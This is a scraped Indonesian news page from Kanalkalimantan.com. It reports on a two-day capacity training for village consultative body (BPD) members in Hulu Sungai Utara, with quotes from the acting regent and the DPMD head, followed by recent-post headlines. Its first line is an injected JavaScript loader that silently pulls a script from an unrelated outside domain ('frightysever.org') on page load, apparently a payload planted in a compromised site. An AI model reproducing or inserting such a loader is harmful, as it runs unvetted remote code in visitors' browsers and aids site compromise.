(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pj Bupati HSU: Kapasitas Anggota BPD Harus Makin Profesional


KANALKALIMANTAN.COM, AMUNTAI – Pembekalan peningkatan kapasitas dan kemampuan anggota Badan Permusyawaratan Desa (BPD) se Kabupaten HSU digelar Dinas Pemberdayaan Masyarakat dan Desa (DPMD) HSU agar semakin profesional.

“Sinergi yang baik antara anggota BPD, Kepala Desa dan aparatur desa dalam membangun desa, meningkatkan kapasitas SDM anggota BPD, serta dapat membawa nuansa baru bagi desa,” kata Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan sosialisasi BPD, Kamis (14/12/2023).

Zakly juga berharap anggota BPD se Kabupaten HSU semakin profesional dalam pelaksanaan fungsi sebagai anggota BPD membahas dan menyepakati rancangan peraturan desa bersama kepala desa. Menampung dan menyalurkan aspirasi masyarakat desa dan melakukan pengawasan kinerja kepala desa.

“Saya mengingatkan kepada anggota BPD bahwa profesionalisme dan integritas anggota BPD sangat penting dalam membangun Desa, menyamakan cara pendang dalam membangun desa, hindari konflik dan arogansi, perkuat koordinasi dan tingkatkan kualitas SDM aparatur anggota BPD,” imbuhnya.

Baca juga: “Cempedak Kupas” Juara Sayembara Desain Motif Sasirangan

Pj Bupati HSU Zakly Aswan memberikan arahan kepada anggota BPD se Kabupaten HSU dalam sosialisasi BPD yang digelar DPMD HSU di Aula Dr KH Idham Chalid. Foto: diskominfohsu

Sementara itu, Kepala DPMD HSU, Rijali Hadi mengatakan, kegiatan ini memberikan pembekalan tugas bagi anggota BPD se Kabupaten HSU selama dua hari, 13-14 Desember 2023.

“Tiga tugas BPD antara lain, membuat dan menyepakati dan menetapkan peraturan desa bersama kepala desa, menerima dan mengelola aspirasi masyarakat dan melakukan pengawasan terhadap kinerja kepala desa,” jelasnya.

Baca juga: Vonis 4 Tahun Dua Terdakwa Korupsi Kredit Fiktif Bank di Banjarbaru

Dirinya menambahkan, dasar hukum kegiatan ini adalah peraturan menteri dalam negri nomor 110 Tahun 2016 tentang BPD yang di dalamnya mengatur tentang pelaksanaan tugas BPD.

Melalui sosialisasi ini, para peserta diberikan pembekalan terkait pengawasan BPD dalam pengelolaan keuangan Desa oleh Inspektorat HSU,  penyusunan peraturan Desa oleh bagian Hukum Sekretaris Daerah Kabupaten HSU serta pelaksanaan tugas BPD oleh DPMD HSU. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Al Ghifari

Recent Posts

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

19 menit ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

4 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

4 jam ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

6 jam ago

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

8 jam ago

Ngobrol Santai Pj Bupati Kapuas Erlin Hardi di Kelurahan Selat Dalam

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More

8 jam ago

This website uses cookies.